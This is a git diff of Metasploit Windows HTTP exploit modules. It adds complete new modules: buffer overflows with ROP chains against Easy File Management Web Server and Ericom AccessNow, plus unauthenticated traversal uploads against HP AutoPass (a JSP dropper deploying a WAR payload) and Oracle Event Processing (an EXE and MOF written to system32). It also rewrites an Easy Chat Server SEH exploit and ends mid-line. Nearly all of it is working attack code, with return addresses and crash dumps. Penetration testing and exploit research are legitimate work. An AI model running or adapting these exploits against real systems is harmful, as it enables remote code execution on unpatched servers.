--git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index 87876ae500..9e42b8ec78 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow', 'Description' => %q{ - This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By - sending a overly long authentication request, an attacker may be able to execute - arbitrary code. - - NOTE: The offset to SEH is influenced by the installation path of the program. - The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated - with "\users\" and the string passed as the username HTTP paramter. + This module exploits a stack buffer overflow in EFS Software Easy Chat + Server versions 2.0 to 3.1. By sending an overly long authentication + request, an attacker may be able to execute arbitrary code. }, - 'Author' => [ 'LSO <lso[at]hushmail.com>' ], + 'Author' => + [ + 'LSO <lso[at]hushmail.com>', # original metasploit + 'Brendan Coles <bcoles[at]gmail.com>' # metasploit + ], 'License' => BSD_LICENSE, 'References' => [ - [ 'CVE', '2004-2466' ], + [ 'CVE', '2004-2466' ], [ 'OSVDB', '7416' ], - [ 'BID', '25328' ], + [ 'OSVDB', '106841' ], + [ 'BID', '25328' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Privileged' => true, + 'Privileged' => false, 'Payload' => { - 'Space' => 500, - 'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c", + 'Space' => 7000, + 'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ - [ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k + # Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on: + # -- Windows XP SP 3 (x86) (EN) + # -- Windows 7 SP 1 (x64) (EN) + # -- Windows 8 SP 0 (x64) (EN) + [ 'Automatic Targeting', { 'auto' => true } ], + # p/p/r SSLEAY32.dll + [ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ], + # p/p/r SSLEAY32.dll + [ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ] ], 'DisclosureDate' => 'Aug 14 2007', 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('PATH', [ true, "Installation path of Easy Chat Server", - "C:\\Program Files\\Easy Chat Server" ]) - ], self.class ) end def check - info = http_fingerprint # check method - # NOTE: Version 2.5 still reports "1.0" in the "Server" header - if (info =~ /Easy Chat Server\/1\.0/) - return Exploit::CheckCode::Appears + version = get_version + if not version + return Exploit::CheckCode::Safe + end + vprint_status "#{peer} - Found version: #{version}" + if version !~ /^(2\.\d|3\.0|3\.1)$/ + return Exploit::CheckCode::Safe + end + path = get_install_path + if not path + return Exploit::CheckCode::Detected + end + vprint_status "#{peer} - Found path: #{path}" + return Exploit::CheckCode::Appears + end + + # + # Get software version from change log + # + def get_version + res = send_request_raw 'uri' => '/whatsnew.txt' + if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/ + return "#{$1}" + end + end + + # + # Get software installation path from uninstall file + # + def get_install_path + res = send_request_raw 'uri' => '/unins000.dat' + if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i + return "#{$1}" end - Exploit::CheckCode::Safe end def exploit - # randomize some values. - val = rand_text_alpha(rand(10) + 1) - num = rand_text_numeric(1) - path = datastore['PATH'] + "\\users\\" - print_status("path: " + path) + # get target + if target.name =~ /Automatic/ + version = get_version + vprint_status "#{peer} - Found version: #{version}" if version + if not version or version !~ /^(2\.\d|3\.0|3\.1)$/ + fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target") + elsif version =~ /(2\.0)/ + my_target = targets[1] + elsif version =~ /(2\.\d|3\.0|3\.1)/ + my_target = targets[2] + end + else + my_target = target + end - # exploit buffer. - filler = rand_text_alpha(256 - path.length) - seh = generate_seh_payload(target.ret) - juju = filler + seh + # get install path + path = get_install_path + if not path + fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path") + end + path << "\\users\\" + vprint_status "#{peer} - Using path: #{path}" - uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}" + # send payload + sploit = rand_text_alpha(256 - path.length) + sploit << generate_seh_payload(my_target.ret) + print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})" + send_request_cgi({ + 'uri' => '/chat.ghp', + 'encode_params' => false, + 'vars_get' => { + 'username' => sploit, + 'password' => rand_text_alphanumeric(rand(10) + 1), + 'room' => 1, + 'sex' => rand_text_numeric(1) + } + }, 5) - print_status("Trying target #{target.name}...") - - send_request_raw({'uri' => uri}, 5) - - handler - disconnect end end + +=begin + +0x004144C8 calls sprintf with the following arguments: +sprintf(&FileName, "%susers\\%s", path, username); + +Since we can make the username larger than the allocated buffer size +we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with +a short jmp to the beginning of our shellcode. + +(46c.144): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea +eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 +EasyChat+0x45f34: +00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=?? + +0:005> !exchain +01216dd8: 41414141 +Invalid exception stack at 41414141 +=end diff --git a/modules/exploits/windows/http/efs_fmws_userid_bof.rb b/modules/exploits/windows/http/efs_fmws_userid_bof.rb new file mode 100644 index 0000000000..3c4f41cb6b --- /dev/null +++ b/modules/exploits/windows/http/efs_fmws_userid_bof.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking # Reliable memory corruption + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy File Management Web Server Stack Buffer Overflow', + 'Description' => %q{ + Easy File Management Web Server v4.0 and v5.3 contains a stack buffer + overflow condition that is triggered as user-supplied input is not + properly validated when handling the UserID cookie. This may allow a + remote attacker to execute arbitrary code. + }, + 'Author' => + [ + 'superkojiman', # Vulnerability discovery + 'Julien Ahrens', # Exploit + 'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '107241'], + ['EDB', '33610'], + ['BID', '67542'], + ['URL', 'http://www.cnnvd.org.cn/vulnerability/show/cv_id/2014050536'], + ['URL', 'http://www.web-file-management.com/'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d;", + 'Space' => 3420 # Lets play it safe + }, + 'Targets' => + [ + # Successfully tested efmws.exe (4.0.0.0) / (5.3.0.0) on: + # -- Microsoft Windows XP [Version 5.1.2600] + # -- Microsoft Windows [Version 6.1.7600] + # -- Microsoft Windows [Version 6.3.9600] + ['Automatic Targeting', { 'auto' => true }], + ['Efmws 5.3 Universal', { 'Esp' => 0xA445ABCF, 'Ret' => 0x10010101 }], + ['Efmws 4.0 Universal', { 'Esp' => 0xA4518472, 'Ret' => 0x10010101 }], + # 0x10010101 = pop ebx > pop ecx > retn + # 0xA445ABCF = 0x514CF5 push esp > retn 0c + # 0xA4518472 = 0x457452 jmp esp + # From ImageLoad.dll + ], + 'DisclosureDate' => 'May 20 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp']) + ], self.class) + end + + def get_version + + # + # NOTE: Version 5.3 still reports "4.0" in the "Server" header + # + + version = nil + res = send_request_raw({'uri' => '/whatsnew.txt'}) + if res && res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/ + version = $1 + vprint_status "#{peer} - Found version: #{version}" + elsif res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/ + version = $1 + vprint_status "#{peer} - Based on Server header: #{version}" + end + + version + end + + def check + code = Exploit::CheckCode::Safe + version = get_version + if version.nil? + code = Exploit::CheckCode::Unknown + elsif version == "5.3" + code = Exploit::CheckCode::Appears + elsif version == "4.0" + code = Exploit::CheckCode::Appears + end + + code + end + + def exploit + + # + # Get target version to determine how to reach call/jmp esp + # + + print_status("#{peer} - Fingerprinting version...") + version = get_version + + if target.name =~ /Automatic/ + if version.nil? + fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target") + elsif version =~ /5\.3/ + my_target = targets[1] + elsif version =~ /4\.0/ + my_target = targets[2] + end + print_good("#{peer} - Version #{version} found") + else + my_target = target + unless version && my_target.name.include?(version) + print_error("#{peer} - The selected target doesn't match the detected version, trying anyway...") + end + end + + # + # Fu to reach where payload lives + # + + sploit = rand_text(80) # Junk + sploit << [0x1001D8C8].pack("V") # Push edx + sploit << rand_text(280) # Junk + sploit << [my_target.ret].pack("V") # Pop ebx > pop ecx > retn + sploit << [my_target['Esp']].pack("V") # Setup call/jmp esp + sploit << [0x10010125].pack("V") # Contains 00000000 to pass the jnz instruction + sploit << [0x10022AAC].pack("V") # Mov eax,ebx > pop esi > pop ebx > retn + sploit << rand_text(8) # Filler + sploit << [0x1001A187].pack("V") # Add eax,5bffc883 > retn + sploit << [0x1002466D].pack("V") # Push eax > retn + sploit << payload.encoded + + print_status "#{peer} - Trying target #{my_target.name}..." + + # + # NOTE: Successful HTTP request is required to trigger + # + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;", + }, 1) + end +end + +=begin + +# +# 0x44f57d This will write UserID up the stack. If the UserID is to large it +# will overwrite a pointer which is used later on at 0x468702 +# + +eax=000007d1 ebx=00000000 ecx=000001f4 edx=016198ac esi=01668084 edi=016198ac +eip=0044f57d esp=016197e8 ebp=ffffffff iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 +fmws+0x4f57d: +0044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] +0:004> dd @esi +01668084 41414141 41414141 41414141 41414141 +01668094 41414141 41414141 41414141 41414141 +016680a4 41414141 41414141 41414141 41414141 +016680b4 41414141 41414141 41414141 41414141 +016680c4 41414141 41414141 41414141 41414141 +016680d4 41414141 41414141 41414141 41414141 +016680e4 41414141 41414141 41414141 41414141 +016680f4 41414141 41414141 41414141 41414141 + +(c38.8cc): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=00000000 ebx=00000000 ecx=015198fc edx=41414141 esi=015198ec edi=015198fc +eip=00468702 esp=015197c0 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +fmws+0x68702: +00468702 ff5228 call dword ptr [edx+28h] ds:0023:41414169=???????? + +=end diff --git a/modules/exploits/windows/http/ericom_access_now_bof.rb b/modules/exploits/windows/http/ericom_access_now_bof.rb new file mode 100644 index 0000000000..ce22761672 --- /dev/null +++ b/modules/exploits/windows/http/ericom_access_now_bof.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ericom AccessNow Server Buffer Overflow', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Ericom AccessNow Server. The + vulnerability is due to an insecure usage of vsprintf with user controlled data, + which can be triggered with a malformed HTTP request. This module has been tested + successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003 + Server SP2. + }, + 'Author' => + [ + 'Unknown', # Vulnerability Discovery + 'juan vazquez', # Metasploit Module + ], + 'References' => + [ + ['ZDI', '14-160'], + ['CVE', '2014-3913'], + ['BID', '67777'], + ['URL','http://www.ericom.com/security-ERM-2014-610.asp'] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 4096, + 'BadChars' => "\x00\x0d\x0a", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Targets' => + [ + [ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]', + { + 'RopOffset' => 62, + 'Offset' => 30668, + 'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll + } + ] + ], + 'DisclosureDate' => 'Jun 2 2014', + 'DefaultTarget' => 0)) + + register_options([Opt::RPORT(8080)], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => '/AccessNow/start.html' + }) + + unless res && res.code == 200 && res.headers['Server'] + return Exploit::CheckCode::Safe + end + + if res.headers['Server'] =~ /Ericom AccessNow Server/ + return Exploit::CheckCode::Appears # Ericom AccessNow 2.4 + elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/ + return Exploit::CheckCode::Detected # Ericom AccessNow 3 + end + + Exploit::CheckCode::Unknown + end + + def exploit_uri + uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message + uri << rand_text(target['RopOffset']) + uri << create_rop_chain + uri << payload.encoded + uri << rand_text(target['Offset'] - uri.length) + uri << rand_text(4) # nseh + uri << [target.ret].pack("V") # seh + + uri + end + + def exploit + print_status("#{peer} - Sending malformed request...") + send_request_raw({ + 'method' => 'GET', + 'uri' => exploit_uri, + 'encode' => false + }, 1) + end + + def create_rop_chain + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3 + 0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3 + 0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll] + 0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll] + 0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll] + 0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll] + 0x103eed74, # & jmp esp [AccessNowAccelerator32.dll] + 0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xffffffff, # Value to negate, will become 0x00000001 + 0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll] + 0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll] + 0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx) + 0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll] + 0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll] + 0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll] + 0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll] + 0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll] + 0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll] + 0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0x90909090, # nop + 0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll] + ].pack("V*") + + rop_gadgets + end + +end diff --git a/modules/exploits/windows/http/hp_autopass_license_traversal.rb b/modules/exploits/windows/http/hp_autopass_license_traversal.rb new file mode 100644 index 0000000000..db98e83681 --- /dev/null +++ b/modules/exploits/windows/http/hp_autopass_license_traversal.rb @@ -0,0 +1,196 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP AutoPass License Server File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in HP AutoPass License Server. It abuses two + weaknesses in order to get its objective. First, the AutoPass application doesn't enforce + authentication in the CommunicationServlet component. Seond, it's possible to abuse a + directory traversal when uploading files thorough the same component, allowing to upload + an arbitrary payload embedded in a JSP. The module has been tested successfully on + HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50. + }, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-6221'], + ['ZDI', '14-195'], + ['BID', '67989'], + ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c04333125'] + ], + 'Privileged' => true, + 'Platform' => %w{ java }, + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 10 2014')) + + register_options( + [ + Opt::RPORT(5814), + OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']), + OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]), + OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1]) + ], self.class) + end + + + def check + check_code = Exploit::CheckCode::Safe + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"), + 'method' => 'POST' + }) + + unless res + check_code = Exploit::CheckCode::Unknown + end + + if res && res.code == 500 && + res.body.to_s.include?("HP AutoPass License Server") && + res.body.to_s.include?("java.lang.NullPointerException") && + res.body.to_s.include?("com.hp.autopass") + + check_code = Exploit::CheckCode::Detected + end + + check_code + end + + def exploit + app_base = rand_text_alphanumeric(4+rand(32-4)) + war = payload.encoded_war({ :app_name => app_base }).to_s + war_filename = "#{app_base}.war" + + # By default, the working directory when executing the JSP is: + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\bin + # The war should be dropped to the next location to autodeploy: + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps + war_traversal = webapps_traversal + war_traversal << "webapps/#{war_filename}" + dropper = jsp_drop_bin(war, war_traversal) + dropper_filename = rand_text_alpha(8) + ".jsp" + + print_status("#{peer} - Uploading the JSP dropper #{dropper_filename}...") + # The JSP, by default, is uploaded to: + # C:\Program Files\HP\HP AutoPass License Server\AutoPass\LicenseServer\conf\pdfiles\ + # In order to execute it, through the AutoPass application we would like to drop it here: + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts + dropper_traversal = install_traversal + dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}" + res = upload_file(dropper_traversal, dropper) + + register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}") + register_files_for_cleanup("#{webapps_traversal}webapps/#{war_filename}") + + unless res && res.code == 500 && + res.body.to_s.include?("HP AutoPass License Server") && + res.body.to_s.include?("java.lang.NullPointerException") && + res.body.to_s.include?("com.hp.autopass") + + print_error("#{peer} - Unexpected response... upload maybe failed, trying anyway...") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "scripts", dropper_filename), + 'method' => 'GET' + }) + + unless res and res.code == 200 + print_error("#{peer} - Unexpected response after executing the dropper...") + end + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi( + { + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8) + ".jsp"), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + end + + def webapps_traversal + "../" * datastore['WEBAPPS_DEPTH'] + end + + def install_traversal + "/.." * datastore['INSTALL_DEPTH'] + end + + # Using a JSP dropper because the vulnerability doesn't allow to upload + # 'binary' files, so a WAR can't be uploaded directly. + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def upload_file(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadedFile\"; filename=\"#{file_name}\"") + + data = post_data.to_s + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + res + end + +end diff --git a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb index 96f1cb3d2a..14471183de 100644 --- a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb +++ b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb @@ -83,9 +83,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying target #{target.name}...") send_request_cgi({ - 'uri' => "/OvCgi/ovalarm.exe?OVABverbose=1", + 'uri' => '/OvCgi/ovalarm.exe', 'method' => "GET", - 'headers' => { 'Accept-Language' => sploit } + 'headers' => { + 'Accept-Language' => sploit + }, + 'vars_get' => { + 'OVABverbose' => '1' + } }, 3) handler diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 8874861052..d3507767ec 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'vbs', 'Targets' => [ [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] @@ -49,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DefaultOptions' => { - 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'DisclosureDate' => 'Jul 29 2013')) diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb index 29f338de3f..78bb7ccc5c 100644 --- a/modules/exploits/windows/http/mcafee_epolicy_source.rb +++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'muts <muts [at] remote-exploit.org>', + 'muts <muts[at]remote-exploit.org>', 'xbxice[at]yahoo.com', 'hdm', 'patrick' # MSF3 rewrite, ePO v2.5.1 target diff --git a/modules/exploits/windows/http/oracle_event_processing_upload.rb b/modules/exploits/windows/http/oracle_event_processing_upload.rb new file mode 100644 index 0000000000..2fdaf9b065 --- /dev/null +++ b/modules/exploits/windows/http/oracle_event_processing_upload.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in Oracle Event Processing + 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be + abused to upload a malicious file onto an arbitrary location due to a directory traversal + flaw, and compromise the server. By default Oracle Event Processing uses a Jetty + Application Server without JSP support, which limits the attack to WbemExec. The current + WbemExec technique only requires arbitrary write to the file system, but at the moment the + module only supports Windows 2003 SP2 or older. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2424'], + ['ZDI', '14-106'], + ['BID', '66871'], + ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html'] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 5 + }, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 21 2014')) + + register_options( + [ + Opt::RPORT(9002), + # By default, uploads are stored in: + # C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\ + OptInt.new('DEPTH', [true, 'Traversal depth', 7]) + ], self.class) + end + + def upload(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"") + post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"") + data = post_data.to_s + + res = send_request_cgi({ + 'uri' => '/wlevs/visualizer/upload', + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => data + }) + + res + end + + def traversal + "../" * datastore['DEPTH'] + end + + def exploit + print_status("#{peer} - Generating payload and mof file...") + mof_name = "#{rand_text_alpha(rand(5)+5)}.mof" + exe_name = "#{rand_text_alpha(rand(5)+5)}.exe" + exe_content = generate_payload_exe + mof_content = generate_mof(mof_name, exe_name) + + print_status("#{peer} - Uploading the exe payload #{exe_name}...") + exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}" + res = upload(exe_traversal, exe_content) + + unless res && res.code == 200 && res.body.blank? + print_error("#{peer} - Unexpected answer, trying anyway...") + end + register_file_for_cleanup(exe_name) + + print_status("#{peer} - Uploading the MOF file #{mof_name}") + mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}" + upload(mof_traversal, mof_content) + register_file_for_cleanup("wbem/mof/good/#{mof_name}") + end + + def check + res = send_request_cgi({ + 'uri' => '/ohw/help/state', + 'method' => 'GET', + 'vars_get' => { + 'navSetId' => 'cepvi', + 'navId' => '0', + 'destination' => '' + } + }) + + if res && res.code == 200 + if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)") + return Exploit::CheckCode::Detected + elsif res.body.to_s.include?("Oracle Event Processing 12") + return Exploit::CheckCode::Safe + end + end + + Exploit::CheckCode::Unknown + end + +end diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index 1590d1ba62..5a187fddaf 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DisclosureDate' => 'Jul 13 2010', @@ -53,11 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => 